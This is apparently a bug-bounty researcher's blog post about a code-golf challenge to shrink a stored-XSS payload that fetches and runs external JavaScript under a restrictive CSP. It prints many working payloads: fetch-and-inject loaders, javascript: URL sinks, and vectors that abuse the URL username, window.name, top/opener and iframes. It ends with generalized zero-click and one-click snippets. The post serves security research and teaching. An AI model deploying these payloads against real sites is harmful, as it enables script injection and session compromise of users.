Sideloading external scripts: a code golf challenge

The other day, I worked on an XSS finding that required loading script content from an external source to load a proper POC. The limitations were

  1. Stored XSS
  2. Char limit 256
  3. CSP script-src containing a bunch of company-owned sites but also unsafe-inline
  4. CSP connect-src containing a bunch of random sites and then api.redacted.com

The attack itself was not a big issue. There were some limitations, like “no whitespace,” etc., but nothing too bad and we will ignore that here for cleaner examples. The payload also had to be padded with around six characters, which left 250 for the exploit.

A simple alert XSS would look like this

<style onload='alert(1)'>padding

However, I don’t like submitting only an alert-box report and always strive to show full, arbitrary, script execution. This usually helps when it comes to triage and award.

Usually, in these scenarios, you try something like this

<style onload='location=window.name'>padding

or

<style onload='location=location.hash.slice(1)'>padding

(note that the lack of unsafe-eval in the CSP prevents us from using eval payloads like eval(name))

Then, deliver the full payload using the URL or window name. These sorts of attacks do, however, require an additional step. Either the victim needs to click an attacker-supplied link (the hash attack) or the victim needs to arrive from an attacker-controlled page (the name attack). Both these vectors essentially turn a stored XSS into a reflected XSS, only with an attacker-controlled sink. We can do better!

We are left with the option to use our initial payload to fetch some out of band content and execute it as unsafe-inline on the page. This is where api.redacted.com from the CSP whitelist came into play. The whitelist for the script domain did not contain any obvious exploitable URL, but as we already have (limited) code execution, any form of user content will suffice. The connect-src CSP directive controls what sources we are allowed to fetch data from, blocking us from just going to our attacker domain directly.

On api.redacted.com I could store any form of user supplied text but it would be returned as a JSON object similar to this

{
 "id": "string",
 "content": "string"
}

I could thus craft a payload like this

<style onload="fetch('//api.redacted.com/x/y')
.then(r=>r.json())
.then(d => {
  const s = document.createElement('script');
  s.textContent = atob(data.content);
  document.head.appendChild(s)})">padding

which even with whitespace is 204 characters. This worked and was good enough in this situation. But what if the length limit was smaller, how small could we make the payload?

Challenge

I did ask ChatGPT to help me out, now as AI is suposedly taking our jobs, but it only outputted longer strings while confidently stating it could be done. Apparently we still need humans for this nobel task so as a next step I decided to put up a challenge page that I shared on Bluesky and Discord. To get some help from the experts in the field.

The challenge can be found here:

https://joaxcar.com/xss/self.html

In the challenge, I simplified the scenario a bit, asking only to load the script hosted on https://joaxcar.com/xss/hack.js containing a simple alert(document.domain). The setup:

  1. The content in parameter q (mirrored in a text field) will get executed in a function called run
  2. CSP script-src 'unsafe-inline'; connect-src 'self'
  3. window.name and location.hash is cleared by the site on load
  • The goal is to write the smallest payload that would fetch and execute the content in /hack.js

The site’s security was intentionally left minimal. In hindsight, I should have allowed for a full HTML injection using innerHTML instead of my run function. But this gadget made for some fun solutions.

Solutions (intended)

I will not be able to name everyone who participated or made small contributions to the final payloads. I will just thank everyone who sent me or posted their solutions. The ones mentioned here are just some I found interesting, and that help us answer the initial research question.

First of I made a slightly better attempt myself, looking like this 109 chars

d=document;s=d.createElement('script');fetch('/hack.js').then(r=>r.text()).then(b=>s.text=b,d.head.append(s))

I don’t know why I was stuck thinking unsafe-inline needed a script tag and that this was the only way to create it. This sort of mental block often happens when exploiting findings.

I then had some discussions with Elieehel where he reminded me that we could just write to the document 87 chars

fetch('/hack.js').then(r=>r.text()).then(d=>{document.write('<script>'+d+'</script>')})

This one can also be slightly improved like this 84 chars

fetch('/hack.js').then(r=>r.text()).then(d=>document.write(`<script>${d}</script>`))

At this point Gareth Heyes entered the scene with this 67 chars

fetch`/hack.js`.then(r=>r.text().then(c=>location='javascript:'+c))

Which is probably the shortest one that fits my initial research goal. It can become a few characters shorter if we allow the attack to require one click, as shown by Tom Anthony using 64 chars

fetch`/hack.js`.then(r=>r.text()).then(b=>open('javascript:'+b))

This is all well and good, but a challenge like this is not complete without a swarm of unintended and alternative solutions!

Solutions (unintended)

If you paid attention to the code for the challenge, you could see that I did put in some restrictions to the regular location=name payloads by removing name and hash

window.name = ""
location.hash = ""

I intentionally left the username vector as I did not devise a 5-second solution to strip it. And as I could have guest Gareth sniffed this one up 36 chars

location="javascript:'"+document.URL

putting the payload as the username

https://%27%3bvar%20s,c%3bfetch(%22https:%2f%2fjoaxcar.com%2fhack.js%22).then(r%3D%3Er.text().then(c%3D%3e%7Bs%3Ddocument.createElement(%27script%27),s.append(c),document.head.append(s)%7D))%2f%2f@joaxcar.com/xss/self.html?q=location=%22javascript%3A%27%22%2Bdocument.URL

Its actually possible to improve this by using <!-- commenting of the URL 30 chars

location=document.URL.slice(8)

It did not stop there, however; many people also noticed that you could abuse the run() function that I used for the challenge. Allowing things like this URL abuser from RTH (0xrth) 18 chars

run('/*'+location)

using the URL

https://joaxcar.com/xss/self.html?q=run(%27%2F*%27%2Blocation)&*/run(atob`ZmV0Y2hgL2hhY2suanNgLnRoZW4ocj0+ci50ZXh0KCkpLnRoZW4oYT0+bG9jYXRpb249J2phdmFzY3JpcHQ6JythKQ==`)

And things like this from Tom Anthony again

location=top[0].name
location=opener[0].name

and even 16 chars

run(top[0].name)

The one solution to rule them all

Despite “cheating” such as using run() there was one undisputed winner to the challenge in the end. Terjanq sent in a payload that abuses the fact that the challenge page is frameable. I do not intend to even go into details on how the solution works, but using multiple iframes and a browser race-condition, he managed to get the final payload down to 11 chars

top.A.x=top

Hats off!

The solution is here https://terjanq.me/solutions/joaxcar-golf-11.html and his post on it here https://bsky.app/profile/terjanq.me/post/3ldbbqtt2t225

Go and read it right now.

Summary

I have nothing against unintended solutions, and even if many people sending in payloads using run() called themselves cheaters, I don’t see it that way. The beauty of a challenge like this is how people’s different experiences blend together and add to a huge knowledge base of tricks. There is so much to take away from the reported solutions.

Abusing run() does resemble my go-to XSS technique, which is to find code gadgets on an already vulnerable site to bypass CSP, enhance a bad payload, or elevate an HTML injection to XSS.

Abusing different side channels for payloads such as name and username and bypassing “scrubbers” using opener and top are all valid techniques used frequently in real-life scenarios.

And the final 11-char payload from Terjanq is just a masterpiece in browser abuse.

All this aside, I think the final answer to my research question is to find in these two generalized snippets

stored 0 click

fetch`/url`.then(a=>a.text().then(b=>location=b))

stored 1 click

fetch`/url`.then(a=>a.text().then(open))

The challenge did only provide a specific .js file, but when used in a real-world scenario, you are also most likely in control of the content of hack.js and could just put javascript:alert(1) inside the file and get rid of the extra strings. Also, this would work even if a bit longer

fetch`/url.html`.then(a=>a.text()).then(b=>document.write(b))

if the served content is HTML.

Again, thanks to everyone who participated and sent in solutions. Also feel free to reach out if you have any ideas on how to improve these payloads and I will be happy to update the post!


Posted

in

,

by

Tags: